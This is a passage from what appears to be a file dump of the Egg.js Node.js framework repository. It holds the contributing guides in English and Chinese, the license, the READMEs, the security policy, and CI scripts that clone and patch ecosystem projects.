[git](https://git-scm.com/download/) and work on that.\n\n### Install Dependencies\n\nYou can install all the dependencies listed in `package.json` with `npm`:\n\n```bash\nnpm i\n```\n\nIf there's something wrong related to dependencies happening during the installation,\nyou can temporarily solve it by adding `--legacy-peer-deps` when your npm version >= 7.X:\n\n```bash\nnpm i --legacy-peer-deps\n```\n\nThen you can submit a PR directly in the \"Issues\" list to notify the author in time.\n\n### Pull Request Guide\n\nIf you are a developer of egg repo and you are willing to contribute, feel free to create a new branch, finish your modification and submit a PR. Egg group will review your work and merge it to master branch.\n\n```bash\n# Create a new branch for development. The name of branch should be semantic, avoiding words like 'update' or 'tmp'. We suggest to use feature/xxx, if the modification is about to implement a new feature.\n$ git checkout -b branch-name\n\n# Run the test after you finish your modification. Add new test cases or change old ones if you feel necessary\n$ npm test\n\n# If your modification pass the tests, congradulations it's time to push your work back to us. Notice that the commit message should be wirtten in the following format.\n$ git add . # git add -u to delete files\n$ git commit -m \"fix(role): role.use must xxx\"\n$ git push origin branch-name\n```\n\nThen you can create a Pull Request at [egg](https://github.com/eggjs/egg/pulls)\n\nNo one can garantee how much will be remembered about certain PR after some time. To make sure we can easily recap what happened previously, please provide the following information in your PR.\n\n1. Need: What function you want to achieve (Generally, please point out which issue is related).\n2. Updating Reason: Different with issue. Briefly describe your reason and logic about why you need to make such modification.\n3. Related Testing: Briefly descirbe what part of testing is relevant to your modification.\n4. User Tips: Notice for Egg users. You can skip this part, if the PR is not about update in API or potential compatibility problem.\n\n### Style Guide\n\nEslint can help to identify styling issues that may exist in your code. Your code is required to pass the test from eslint. Run the test locally by `$ npm run lint`.\n\n### Commit Message Format\n\nYou are encouraged to use [angular commit-message-format](https://github.com/angular/angular.js/blob/master/DEVELOPERS.md#-git-commit-guidelines) to write commit message. In this way, we could have a more trackable history and an automatically generated changelog.\n\n```xml\n<type>(<scope>): <subject>\n<BLANK LINE>\n<body>\n<BLANK LINE>\n<footer>\n```\n\n（1）type\n\nMust be one of the following:\n\n- feat: A new feature\n- fix: A bug fix\n- docs: Documentation-only changes\n- style: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc)\n- refactor: A code change that neither fixes a bug nor adds a feature\n- perf: A code change that improves performance\n- test: Adding missing tests\n- chore: Changes to the build process or auxiliary tools and libraries such as documentation generation\n- deps: Updates about dependencies\n\n（2）scope\n\nThe scope could be anything specifying place of the commit change. For example $location, $browser, $compile, $rootScope, ngHref, ngClick, ngView, etc...\n\n（3）subject\n\nUse succinct words to describe what did you do in the commit change.\n\n（4）body\n\nFeel free to add more content in the body, if you think subject is not self-explanatory enough, such as what it is the purpose or reasone of you commit.\n\n（5）footer\n\n- **If the commit is a Breaking Change, please note it clearly in this part.**\n- related issues, like `Closes #1, Closes #2, #3`\n- If there is a change about an old feaure or a new feature, please associate `doc` and `egg-core`, like `eggjs/egg-core#123`\n\ne.g.\n\n```\nfix($compile): [BREAKING_CHANGE] couple of unit tests for IE9\n\nOlder IEs serialize html uppercased, but IE9 does not...\nWould be better to expect case insensitive, unfortunately jasmine does\nnot allow to user regexps for throw expectations.\n\nDocument change on eggjs/egg#123\n\nCloses #392\n\nBREAKING CHANGE:\n\n  Breaks foo.bar api, foo.baz should be used instead\n```\n\nLook at [these files](https://docs.google.com/document/d/1QrDFcIiPjSLDn3EL15IJygNPiHORgU1_OOAqWjiDU5Y/edit) for more details.\n\n### Principles of English Translations\n\nWe follow the normal principles of English articles when translating, however, due to there're some special principles of titles, we should follow these rules:\n\n- For nouns, verbs, pronouns, adjectives and adverbs, capitalize the first character. For prepsitions, articles, conjections, interjections and auxiliary words, the first character should be in lowercase. **the character of the first word and the last word for title should be capitalized, regardless of what it is**.\n- For proper nouns such as the direct reference of a variable or the name of a plugin, we must use backtick (underneath the 'Esc') to surround them and keep what they are in origin.\n- For prepsitions more than 5 characters, their first characters should be also capitalized, otherwise not.\n- For some very important titles or some fixed proper nouns such as methods of Http: POST,GET,PUT,DELETE, every charater can be capitalized (USE WITH CAUTION).\n- If the article belongs to the form of O-V (Object-Verb) such as \"Config Management\", we'd better translate it as \"Management Configuration\", or \"Managing Configuration\" in the form of \"gerund+noun\".\n- If your title is taken as a sentence, write in 'Sentence Case' (e.g: In FAQ, each title is actually an English sentence).\n\nFor more info, please refer [English Title Case].\n\n### Preview the generated documents\n\nIf you have changed any file under the \"docs\" inside \"site\" folder, you need to regenerate the documents to see the real effect.\n\nIf you are using Node version between 14 and 16, please use the following command:\n\n```bash\n$ npm run site:devWithNode14-16\n```\n\nOtherwises please use:\n\n```bash\n$ npm run site:dev\n```\n\nNode.js won't work properly after 17.X for the OpenSSL problem, you have to downgrade the version of it as a solution.\nIf you just want to build the documents, use `site:build` instead.\n\n## Release Management\n\nEgg uses semantic versioning in release process based on [semver].\n\n### Branch Strategy\n\n`master` branch is the latest stable version. `next` branch is the next stable version working in progress.\n\n- All new features will be added into `master` or `next` branch as well as all bug-fix except security issues. In such way, we can motivate developers to update to the latest stable version.\n- If any API is discarded, it should be noted with `deprecate` in current stable version. The old version of API should be compatiable until the release of next stable version.\n- `master` branch doesn't have publish tag. High-level framework can work with stable versions defined by semantic versioning.\n- `next` branch is labelled with `next` tag, high-level framework can use `egg@next` to test the in-progress version.\n- The LTS versions of Egg determined by Milestone. If a version is listed in Milestone, then it is a LTS version. We will patch it if there is any problem with it.\n\n### Release Strategy\n\nIn the release of every stable version, there will be a PM who has the following responsibilities in different stages of the release.\n\n#### Preparation\n\n- Set up milestone. Confirm that request is related to milestone. Assign and update issues, like [1.x milestone].\n- Create a `next` branch from `master` branch and tag it as `next`.\n\n#### Before Release\n\n- Confirm that performance test is passed and all issues in current Milestone are either closed or can be delayed to later versions.\n- Open a new [Release Proposal MR], and write `History` as [node CHANGELOG]. Don't forget to correct content in documentation which is related to the releasing version. Commits can be generated automatically.\n\n  ```bash\n  $ npm run commits\n  ```\n\n- Nominate PM for next stable version.\n\n#### During Release\n\n- Back up the stable version (master) onto the branch named after the current major (e.g: `1.x`), and set the tag to `release-{v}.x` (v is the current version like `release-1.x`).\n- Push the `next` branch to `master`, make it to the last stable one and remove `next` tag, change the contents corresponding to the branch in README.\n- Publish the latest stable version to [npm], and notify the previous framework to be upgraded.\n- Before doing `npm publish`, please read [How to deploy an npm package].\n\nAll tags mentioned above means the tags of npm in `package.json`.\n\n```json\n\"publishConfig\": {\n  \"tag\": \"next\"\n}\n```\n\n[semver]: https://semver.org/\n[Release Proposal MR]: https://github.com/nodejs/node/pull/4181\n[node CHANGELOG]: https://github.com/nodejs/node/blob/master/CHANGELOG.md\n[1.x milestone]: https://github.com/eggjs/egg/milestone/1\n[npm]: http://npmjs.com/\n[How to deploy an npm package]: https://fengmk2.com/blog/2016/how-i-publish-a-npm-package\n[English Title Case]: https://headlinecapitalization.com/\n"
  },
  {
    "path": "CONTRIBUTING.zh-CN.md",
    "content": "[English](./CONTRIBUTING.md) | 简体中文\n\n# 代码贡献规范\n\n有任何疑问，欢迎提交 [issue](https://github.com/eggjs/egg/issues)，\n或者直接修改提交 [PR](https://github.com/eggjs/egg/pulls)!\n\n## 提交 issue\n\n- 请确定 issue 的类型。\n- 请避免提交重复的 issue，在提交之前搜索现有的 issue。\n- 在标签(分类参考**标签分类**), 标题 或者内容中体现明确的意图。\n\n随后 egg 负责人会确认 issue 意图，更新合适的标签，关联 milestone，指派开发者。\n\n标签可分为两类，type 和 scope\n\n- type: issue 的类型，如 `feature`, `bug`, `documentation`, `performance`, `support` ...\n- scope: 修改文件的范围，如 `core: xx`，`plugin: xx`，`deps: xx`\n\n### 常用标签说明\n\n- `support`: issue 提出的问题需要开发者协作排查，咨询，调试等等日常技术支持。\n- `bug`: 一旦发现可能是 bug 的问题，请打上 `bug`，然后等待确认，一旦确认是 bug，此 issue 会被再打上 `confirmed`。\n  - 此时 issue 会被非常高的优先级进行处理。\n  - 如果此 bug 是正在影响线上应用正常运行，会再打上 `critical`，代表是最高优先级，需要马上立刻处理！\n  - bug 会在最低需要修复的版本进行修复，如是在 `0.9.x` 要修复的，而当前最新版本是 `1.1.x`，\n    那么此 issue 还会被打上 `0.9`，`0.10`，`1.0`，`1.1`，代表需要修复到这些版本。\n- `core: xx`: 代表 issue 跟 core 内核相关，如 `core: antx` 代表跟 `antx` 配置相关。\n- `plugin: xx`: 代表 issue 跟插件相关，如 `deps: session` 代表跟 `session` 插件相关。\n- `deps: xx`: 代表 issue 跟 `dependencies` 模块相关，如 `deps: egg-cors` 代表跟 `egg-cors` 模块相关。\n- `chore: documentation`: 代表发现了文档相关问题，需要修复文档说明。\n- `cbd`: 代表跟服务器部署相关\n\n## 编写文档\n\n所有功能点必须提交配套文档，文档须满足以下要求\n\n- 必须说清楚问题的几个方面：what（是什么），why（为什么），how（怎么做），可根据问题的特性有所侧重。\n- how 部分必须包含详尽完整的操作步骤，必要时附上 **足够简单，可运行** 的范例代码，\n  所有范例代码放在 [eggjs/examples](https://github.com/eggjs/examples) 库中。\n- 提供必要的链接，如申请流程，术语解释和参考文档等。\n- 同步修改中英文文档，或者在 PR 里面说明。\n\n## 下拉与提交代码\n\n### 下拉代码\n\n请现在 GitHub 上点击 [Egg 项目](https://github.com/eggjs/egg)的“Fork”按钮，将 Egg 项目克隆到自己的仓库中，然后借助 [git](https://git-scm.com/download/) 将代码克隆到本地，以后的开发都在本地进行。\n\n### 安装依赖\n\n你可使用 Node 自带的 `npm` 包管理工具命令安装所有在“package.json”上的必备依赖：\n\n```bash\nnpm i\n```\n\n请注意: 如你安装过程中看到依赖性相关的错误，而导致安装失败，且你的 npm 版本 >=7.X，临时\n解决方案是加上 `--legacy-peer-deps`：\n\n```bash\nnpm i --legacy-peer-deps\n```\n\n然后请及时在 Issues 里边提 PR，告知开发者。\n\n### 提交 Pull Request\n\n如果你有仓库的开发者权限，而且希望贡献代码，那么你可以创建分支修改代码提交 PR，egg 开发团队会 review 代码合并到主干。\n\n```bash\n# 先创建开发分支开发，分支名应该有含义，避免使用 update、tmp 之类的\n$ git checkout -b branch-name\n\n# 开发完成后跑下测试是否通过，必要时需要新增或修改测试用例\n$ npm test\n\n# 测试通过后，提交代码，message 见下面的规范\n\n$ git add . # git add -u 删除文件\n$ git commit -m \"fix(role): role.use must xxx\"\n$ git push origin branch-name\n```\n\n由于谁也无法保证过了多久之后还记得多少，为了后期回溯历史的方便，请在提交 MR 时确保提供了以下信息。\n\n1. 需求点（一般关联 issue 或者注释都算）\n2. 升级原因（不同于 issue，可以简要描述下为什么要处理）\n3. 框架测试点（可以关联到测试文件，不用详细描述，关键点即可）\n4. 关注点（针对用户而言，可以没有，一般是不兼容更新等，需要额外提示）\n\n### 代码风格\n\n你的代码风格必须通过 eslint，你可以运行 `$ npm run lint` 本地测试。\n\n### Commit 提交规范\n\n根据 [angular 规范](https://github.com/angular/angular.js/blob/master/CONTRIBUTING.md#commit-message-format)提交 commit，\n这样 history 看起来更加清晰，还可以自动生成 changelog。\n\n```xml\n<type>(<scope>): <subject>\n<BLANK LINE>\n<body>\n<BLANK LINE>\n<footer>\n```\n\n（1）type\n\n提交 commit 的类型，包括以下几种\n\n- feat: 新功能\n- fix: 修复问题\n- docs: 修改文档\n- style: 修改代码格式，不影响代码逻辑\n- refactor: 重构代码，理论上不影响现有功能\n- perf: 提升性能\n- test: 增加修改测试用例\n- chore: 修改工具相关（包括但不限于文档、代码生成等）\n- deps: 升级依赖\n\n（2）scope\n\n修改文件的范围（包括但不限于 doc, middleware, core, config, plugin）\n\n（3）subject\n\n用一句话清楚的描述这次提交做了什么\n\n（4）body\n\n补充 subject，适当增加原因、目的等相关因素，也可不写。\n\n（5）footer\n\n- **当有非兼容修改(Breaking Change)时必须在这里描述清楚**\n- 关联相关 issue，如 `Closes #1, Closes #2, #3`\n- 如果功能点有新增或修改的，还需要关联文档 `doc` 和 `egg-core` 的 PR，如 `eggjs/egg-core#123`\n\n示例\n\n```\nfix($compile): [BREAKING_CHANGE] couple of unit tests for IE9\n\nOlder IEs serialize html uppercased, but IE9 does not...\nWould be better to expect case insensitive, unfortunately jasmine does\nnot allow to user regexps for throw expectations.\n\nDocument change on eggjs/egg#123\n\nCloses #392\n\nBREAKING CHANGE:\n\n  Breaks foo.bar api, foo.baz should be used instead\n```\n\n详情请查看具体[文档](https://docs.google.com/document/d/1QrDFcIiPjSLDn3EL15IJygNPiHORgU1_OOAqWjiDU5Y/edit)。\n\n### 英语翻译规范\n\n英语正文按照一般英语语法规律书写即可，但标题比较特殊，应该按照以下规范进行书写：\n\n- 名词、动词、代词、形容词、副词等首字母大写，介词、冠词、连词、感叹词和助词首字母小写，_标题第一个单词、最后一个单词无论词性首字母应该大写_。\n- 专有名词（如直接引用某个变量，或者某个插件名称等），必须使用反单引号（键盘上 Esc 正下方）进行引用，并保持原来大小写。\n- 超过5个字母的介词首字母应该大写，否则一律小写。\n- 如果是重要提示性标题，或者是专有名称标题（例如 Http 请求方法：GET，POST，PUT，DELETE），可以全部字母都用大写（慎重考虑）。\n- 如果标题属于“动宾”性质的短语（如“配置管理”），尽量翻译成“宾+动词名词”的形式（Configuration Management），或者是“动名词+宾语”的形式（Managing Configuration）。\n- 如果标题被当做一个完整的英语句子，请按照英语句子的语法格式大小写（如：常见问题 FAQ 中每一个标题都是一个英语句子）。\n\n有关详情，可以参考[英语标题大小写]。\n\n### 预览已生成的文档\n\n如果你修改了 site 文件夹下的 docs 中的某个 md 文件内容，需要重新生成文档，然后才能看到效果。\n\n如果你使用的 Node 版本在 14——16 之间，请使用如下命令：\n\n```bash\n$ npm run site:devWithNode14-16\n```\n\n否则请使用此命令：\n\n```bash\n$ npm run site:dev\n```\n\n这是因为 Node.js 在 17.X 之后编译文档存在兼容性问题，因此必须降级“OpenSSL”方可正常打包编译。\n如仅仅是编译打包生成文档，使用 `site:build` 相关命令即可。\n\n## 发布管理\n\negg 基于 [semver] 语义化版本号进行发布。\n\n### 分支策略\n\n`master` 分支为当前稳定发布的版本，`next` 分支为下一个开发中的大版本。\n\n- 只维护两个版本，除非有安全问题，否则修复只会 patch 到 `master` 和 `next` 分支，其他更新推动上层框架升级到稳定大版本的最新版本。\n- 所有 API 的废弃都需要在当前的稳定版本上 `deprecate` 提示，并保证在当前的稳定版本上一直兼容到新版本的发布。\n- `master` 分支不设置 publish tag，上层框架基于 semver 依赖稳定版本。\n- `next` 分支设置 tag 为 `next`，上层框架可以通过 `egg@next` 引用开发中的版本进行测试。\n- egg 持续维护的版本以 Milestone 为准，只要是开着的版本都会进行修复。\n\n### 发布策略\n\n每个大版本都有一个发布经理管理（PM），他/她要做的事情\n\n#### 准备工作：\n\n- 建立发布里程碑，确认需求关联它，指派和更新已知问题，如 [1.x 发布里程碑]。\n- 从 `master` 分支新建 `next` 分支，并设置 tag 为 `next`。\n\n#### 发布前：\n\n- 确认当前发布里程碑所有的已知问题都已关闭或可延期，完成性能测试。\n- 发起一个新的 [发布合并请求]，按照 [node 变更日志] 进行 `History` 的编写，修正文档中与版本相关的内容，commits 可以自动生成：\n\n  ```bash\n  $ npm run commits\n  ```\n\n- 指定下一个大版本的 PM。\n\n#### 发布时：\n\n- 将老的稳定版本（master）备份到以当前大版本为名字的分支上（例如 `1.x`），并设置 tag 为 `release-{v}.x`（ v 为当前版本，例如 `release-1.x`）。\n- 将 `next` 分支推送到 `master`，成为新的稳定版本分支，并去除 `next` tag，修改 README 中与分支相关的内容。\n- 发布新的稳定版本到 [npm]，并通知上层框架进行更新。\n- `npm publish` 之前，请先阅读 [我是如何发布一个 npm 包的]。\n\n上述描述中所有的设置 tag 都是指在 `package.json` 中设置 npm 的 tag。\n\n```json\n\"publishConfig\": {\n  \"tag\": \"next\"\n}\n```\n\n[semver]: https://semver.org/lang/zh-CN/\n[发布合并请求]: https://github.com/nodejs/node/pull/4181\n[node 变更日志]: https://github.com/nodejs/node/blob/master/CHANGELOG.md\n[1.x 发布里程碑]: https://github.com/eggjs/egg/milestone/1\n[npm]: http://npmjs.com/\n[我是如何发布一个 npm 包的]: https://fengmk2.com/blog/2016/how-i-publish-a-npm-package\n[英语标题大小写]: https://headlinecapitalization.com/\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "English | [简体中文](./README.zh-CN.md)\n\n<div style=\"text-align:center\">\n\t<img src=\"site/public/assets/egg-banner.png\" />\n</div>\n\n[![NPM version](https://img.shields.io/npm/v/egg.svg?style=flat-square)](https://npmjs.org/package/egg)\n[![NPM quality](http://npm.packagequality.com/shield/egg.svg?style=flat-square)](http://packagequality.com/#?package=egg)\n[![NPM download](https://img.shields.io/npm/dm/egg.svg?style=flat-square)](https://npmjs.org/package/egg)\n[![Node.js Version](https://img.shields.io/node/v/egg.svg?style=flat)](https://nodejs.org/en/download/)\n[![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Feggjs%2Fegg.svg?type=shield)](https://app.fossa.com/projects/git%2Bgithub.com%2Feggjs%2Fegg?ref=badge_shield)\n\n[![Continuous Integration](https://github.com/eggjs/egg/actions/workflows/ci.yml/badge.svg)](https://github.com/eggjs/egg/actions?query=branch%3Amaster)\n[![Test coverage](https://img.shields.io/codecov/c/github/eggjs/egg.svg?style=flat-square)](https://codecov.io/gh/eggjs/egg)\n[![Known Vulnerabilities](https://snyk.io/test/npm/egg/badge.svg?style=flat-square)](https://snyk.io/test/npm/egg)\n[![Open Collective backers and sponsors](https://img.shields.io/opencollective/all/eggjs?style=flat-square)](https://opencollective.com/eggjs)\n\n## Features\n\n- Built-in Process Management\n- Plugin System\n- Framework Customization\n- Lots of [plugins](https://github.com/search?q=topic%3Aegg-plugin&type=Repositories)\n\n## Quickstart\n\nFollow the commands listed below.\n\n```bash\n$ mkdir showcase && cd showcase\n$ pnpm create egg@beta\n$ pnpm install\n$ pnpm run dev\n$ open http://localhost:7001\n```\n\n> Node.js >= 20.19.0 required, [supports `require(esm)` by default](https://nodejs.org/en/blog/release/v20.19.0).\n\n## Monorepo Structure\n\nThis project is structured as a pnpm monorepo with the following packages:\n\n- `packages/egg` - Main Eggjs framework\n- `examples/helloworld-commonjs` - CommonJS example application\n- `examples/helloworld-typescript` - TypeScript example application\n- `site` - Documentation website\n\nThe monorepo uses **pnpm catalog mode** for centralized dependency management, ensuring consistent versions across all packages.\n\n### Development Commands\n\n```bash\n# Install dependencies for all packages\npnpm install\n\n# Build all packages\npnpm run build\n\n# Test all packages\npnpm run test\n\n# Run specific package commands\npnpm --filter=egg run test\npnpm --filter=@examples/helloworld-typescript run dev\npnpm --filter=site run dev\n```\n\n## Documentations\n\n- [Documentations](https://eggjs.org/)\n- [Plugins](https://github.com/search?q=topic%3Aegg-plugin&type=Repositories)\n- [Frameworks](https://github.com/search?q=topic%3Aegg-framework&type=Repositories)\n- [Examples](https://github.com/eggjs/examples)\n\n## Contributors\n\n[![contributors](https://contrib.rocks/image?repo=eggjs/egg&max=240&columns=26)](https://github.com/eggjs/egg/graphs/contributors)\n\n## How to Contribute\n\nPlease let us know how can we help. Do check out [issues](https://github.com/eggjs/egg/issues) for bug reports or suggestions first.\n\nTo become a contributor, please follow our [contributing guide](CONTRIBUTING.md), and review the [repository guidelines](AGENTS.md) for day-to-day development tips.\n\n## Sponsors and Backers\n\n[![sponsors](https://opencollective.com/eggjs/tiers/sponsors.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n[![backers](https://opencollective.com/eggjs/tiers/backers.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n\n## License\n\n[MIT](LICENSE)\n\n[![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Feggjs%2Fegg.svg?type=large)](https://app.fossa.com/projects/git%2Bgithub.com%2Feggjs%2Fegg?ref=badge_large)\n"
  },
  {
    "path": "README.zh-CN.md",
    "content": "[English](./README.md) | 简体中文\n\n<div style=\"text-align:center\">\n\t<img src=\"site/public/assets/egg-banner.png\" />\n</div>\n\n[![NPM version](https://img.shields.io/npm/v/egg.svg?style=flat-square)](https://npmjs.org/package/egg)\n[![NPM quality](http://npm.packagequality.com/shield/egg.svg?style=flat-square)](http://packagequality.com/#?package=egg)\n[![NPM download](https://img.shields.io/npm/dm/egg.svg?style=flat-square)](https://npmjs.org/package/egg)\n[![Node.js Version](https://img.shields.io/node/v/egg.svg?style=flat)](https://nodejs.org/en/download/)\n\n[![Continuous Integration](https://github.com/eggjs/egg/actions/workflows/ci.yml/badge.svg)](https://github.com/eggjs/egg/actions?query=branch%3Amaster)\n[![Test coverage](https://img.shields.io/codecov/c/github/eggjs/egg.svg?style=flat-square)](https://codecov.io/gh/eggjs/egg)\n[![Known Vulnerabilities](https://snyk.io/test/npm/egg/badge.svg?style=flat-square)](https://snyk.io/test/npm/egg)\n[![Open Collective backers and sponsors](https://img.shields.io/opencollective/all/eggjs?style=flat-square)](https://opencollective.com/eggjs)\n\n## 特性\n\n- 内置多进程管理\n- 高度可扩展的插件机制\n- 深度框架定制\n- 丰富的[插件](https://github.com/search?q=topic%3Aegg-plugin&type=Repositories)\n\n> 支持 Node.js >= 20.19.0 及以上版本，[默认支持 `require(esm)`](https://nodejs.org/en/blog/release/v20.19.0)。\n\n## 快速开始\n\n```bash\nmkdir showcase && cd showcase\npnpm create egg@beta\npnpm install\npnpm run dev\n\nopen http://localhost:7001\n```\n\n## 文档\n\n- [官方文档](https://eggjs.org/zh-CN/)\n- [插件列表](https://github.com/search?q=topic%3Aegg-plugin&type=Repositories)\n- [框架列表](https://github.com/search?q=topic%3Aegg-framework&type=Repositories)\n- [官方示例](https://github.com/eggjs/examples)\n\n## 贡献者\n\n[![contributors](https://contrib.rocks/image?repo=eggjs/egg&max=240&columns=26)](https://github.com/eggjs/egg/graphs/contributors)\n\n## 贡献代码\n\n请告知我们可以为你做些什么，不过在此之前，请检查一下是否有[已经存在的Bug或者意见](https://github.com/eggjs/egg/issues)。\n\n如果你是一个代码贡献者，请参考[代码贡献规范](CONTRIBUTING.md)。\n\n## 项目赞助\n\n[![sponsors](https://opencollective.com/eggjs/tiers/sponsors.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n[![backers](https://opencollective.com/eggjs/tiers/backers.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n\n## 开源协议\n\n[MIT](LICENSE)\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security Policy\n\n## Supported Versions\n\nThese versions are currently being supported with security updates.\n\n| Version | Supported          |\n| ------- | ------------------ |\n| 3.x     | :white_check_mark: |\n| 2.x     | :white_check_mark: |\n| < 2.0   | :x:                |\n\n## Reporting a Vulnerability\n\nTo report a security vulnerability, please do not open an issue, as this notifies attackers of the vulnerability.\nInstead, please email [fengmk2](mailto:fengmk2+eggjs-security@gmail.com) to disclose.\n"
  },
  {
    "path": "ecosystem-ci/clone.ts",
    "content": "import { execSync } from 'node:child_process';\nimport { existsSync } from 'node:fs';\nimport { join } from 'node:path';\n\nimport repos from './repo.json' with { type: 'json' };\n\nconst cwd = import.meta.dirname;\n\nfunction exec(cmd: string, execCwd: string = cwd): string {\n  return execSync(cmd, { cwd: execCwd, encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'] }).trim();\n}\n\nfunction getRemoteUrl(dir: string): string | null {\n  try {\n    return exec('git remote get-url origin', dir);\n  } catch {\n    return null;\n  }\n}\n\nfunction normalizeGitUrl(url: string): string {\n  // Convert git@github.com:owner/repo.git to github.com/owner/repo\n  // Convert https://github.com/owner/repo.git to github.com/owner/repo\n  return url\n    .replace(/^git@([^:]+):/, '$1/')\n    .replace(/^https?:\\/\\//, '')\n    .replace(/\\.git$/, '');\n}\n\nfunction isSameRepo(url1: string, url2: string): boolean {\n  return normalizeGitUrl(url1) === normalizeGitUrl(url2);\n}\n\nfunction getCurrentHash(dir: string): string | null {\n  try {\n    return exec('git rev-parse HEAD', dir);\n  } catch {\n    return null;\n  }\n}\n\nfunction cloneRepo(repoUrl: string, branch: string, targetDir: string): void {\n  console.info(`Cloning ${repoUrl} (branch: ${branch})...`);\n  exec(`git clone --branch ${branch} ${repoUrl} ${targetDir}`);\n}\n\nfunction checkoutHash(dir: string, hash: string): void {\n  console.info(`Checking out ${hash}...`);\n  exec(`git fetch origin`, dir);\n  exec(`git checkout ${hash}`, dir);\n}\n\nfor (const [repoName, repo] of Object.entries(repos)) {\n  const targetDir = join(cwd, repoName);\n\n  if (existsSync(targetDir)) {\n    console.info(`\\nDirectory ${repoName} exists, validating...`);\n\n    const remoteUrl = getRemoteUrl(targetDir);\n    if (!remoteUrl) {\n      console.error(`  ✗ ${repoName} is not a git repository`);\n      continue;\n    }\n\n    if (!isSameRepo(remoteUrl, repo.repository)) {\n      console.error(`  ✗ Remote mismatch: expected ${repo.repository}, got ${remoteUrl}`);\n      continue;\n    }\n\n    console.info(`  ✓ Remote matches`);\n\n    const currentHash = getCurrentHash(targetDir);\n    if (currentHash === repo.hash) {\n      console.info(`  ✓ Already at correct commit ${repo.hash.slice(0, 7)}`);\n    } else {\n      console.info(`  → Current: ${currentHash?.slice(0, 7)}, expected: ${repo.hash.slice(0, 7)}`);\n      checkoutHash(targetDir, repo.hash);\n      console.info(`  ✓ Checked out ${repo.hash.slice(0, 7)}`);\n    }\n  } else {\n    cloneRepo(repo.repository, repo.branch, targetDir);\n    checkoutHash(targetDir, repo.hash);\n    console.info(`✓ Cloned and checked out ${repo.hash.slice(0, 7)}`);\n  }\n}\n\nconsole.info('\\nDone!');\n"
  },
  {
    "path": "ecosystem-ci/patch-project.ts",
    "content": "import fs from 'node:fs';\nimport { glob } from 'node:fs/promises';\nimport { dirname, join, relative } from 'node:path';\n\nimport yaml from 'js-yaml';\n\nimport repos from './repo.json' with { type: 'json' };\n\nconst projectDir = import.meta.dirname;\nconst rootDir = join(projectDir, '..');\nconst tgzPath = rootDir;\n\nconst projects = Object.keys(repos);\n\nconst project = process.argv[2];\n\nif (!projects.includes(project)) {\n  console.error(`Project ${project} is not defined in repo.json. Valid projects: ${projects.join(', ')}`);\n  process.exit(1);\n}\n\n// Read pnpm-workspace.yaml to get workspace patterns\nconst workspaceConfig = yaml.load(fs.readFileSync(join(rootDir, 'pnpm-workspace.yaml'), 'utf8')) as {\n  packages: string[];\n};\n\n// Use glob to find all package directories dynamically\nasync function discoverPackages(): Promise<[string, string][]> {\n  const packages: [string, string][] = [];\n\n  for (const pattern of workspaceConfig.packages) {\n    // Convert pnpm patterns (e.g., 'packages/*') to glob patterns for package.json\n    const globPattern = `${pattern}/package.json`;\n\n    for await (const entry of glob(globPattern, { cwd: rootDir })) {\n      const pkgJsonPath = join(rootDir, entry);\n      try {\n        const pkgJson = JSON.parse(fs.readFileSync(pkgJsonPath, 'utf8'));\n\n        // Skip private packages and packages without names\n        if (pkgJson.private || !pkgJson.name) continue;\n\n        const relativePath = dirname(relative(rootDir, pkgJsonPath));\n        packages.push([pkgJson.name, relativePath]);\n      } catch {\n        // Skip if package.json is invalid or cannot be read\n        console.warn(`Warning: Could not read ${pkgJsonPath}`);\n      }\n    }\n  }\n\n  return packages;\n}\n\nasync function buildOverrides(): Promise<Record<string, string>> {\n  const packages = await discoverPackages();\n  const overrides: Record<string, string> = {};\n\n  for (const [name, path] of packages) {\n    const version = JSON.parse(fs.readFileSync(join(tgzPath, path, 'package.json'), 'utf8')).version;\n    const filename = `${name.replace('@', '').replace('/', '-')}-${version}.tgz`;\n    overrides[name] = `file:${tgzPath}/${filename}`;\n  }\n\n  return overrides;\n}\n\nasync function patchPackageJSON(filePath: string, overrides: Record<string, string>): Promise<void> {\n  const packageJson = JSON.parse(fs.readFileSync(filePath, 'utf8'));\n  // Add overrides with tgz files\n  packageJson.overrides = {\n    ...packageJson.overrides,\n    ...overrides,\n  };\n\n  for (const name in packageJson.dependencies) {\n    const override = overrides[name];\n    if (override) {\n      packageJson.dependencies[name] = override;\n    }\n  }\n  for (const name in packageJson.devDependencies) {\n    const override = overrides[name];\n    if (override) {\n      packageJson.devDependencies[name] = override;\n    }\n  }\n\n  const packageJsonString = JSON.stringify(packageJson, null, 2) + '\\n';\n  console.log(packageJsonString);\n  fs.writeFileSync(filePath, packageJsonString);\n}\n\nasync function patchCnpmcore(overrides: Record<string, string>): Promise<void> {\n  const packageJsonPath = join(projectDir, 'cnpmcore', 'package.json');\n  await patchPackageJSON(packageJsonPath, overrides);\n}\n\nasync function patchExamples(overrides: Record<string, string>): Promise<void> {\n  // https://github.com/eggjs/examples/tree/master/hello-tegg\n  let packageJsonPath = join(projectDir, 'examples', 'hello-tegg', 'package.json');\n  await patchPackageJSON(packageJsonPath, overrides);\n\n  // 